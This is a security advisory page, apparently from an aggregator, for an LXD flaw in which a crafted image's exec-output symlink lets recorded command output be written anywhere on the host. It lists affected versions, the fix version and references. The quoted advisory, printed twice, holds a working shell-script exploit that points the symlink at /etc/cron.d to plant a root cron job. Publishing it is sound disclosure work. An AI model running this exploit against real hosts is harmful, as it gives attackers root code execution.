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9.9
LXD can write files anywhere via crafted image
published 15 days ago
Summary
LXD allows a specially prepared container image to place a link that tricks the system into writing output files to any location on the host. An attacker could use this to drop malicious files, such as a scheduled task, and run code on the host. Update LXD to the latest version or apply the provided patch and avoid using untrusted images.
What to do
- Update github.com canonical to version 0.0.0-20260626085134-124f90100640.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| go | github.com | canonical |
< 0.0.0-20260626085134-124f90100640 Fix: upgrade to 0.0.0-20260626085134-124f90100640
|
Original advisory text
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.
```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
```
### Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.
```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
```
### Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
References
- https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76
- https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9
- https://nvd.nist.gov/vuln/detail/CVE-2026-48750
- https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953
- https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- https://manpages.debian.org/bookworm/cron/cron.8.en.html
- https://github.com/advisories/GHSA-9j25-mm2h-2f76
Internet-facing
14 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit (estimated)
- Gives an attacker full control (estimated)
Type
CWE-73External Control of File Name or Path
Timeline
Published6 Nov 2026
Updated6 Nov 2026
First seen6 Nov 2026
Sources
GHSA-9j25-mm2h-2f76 · GHSA
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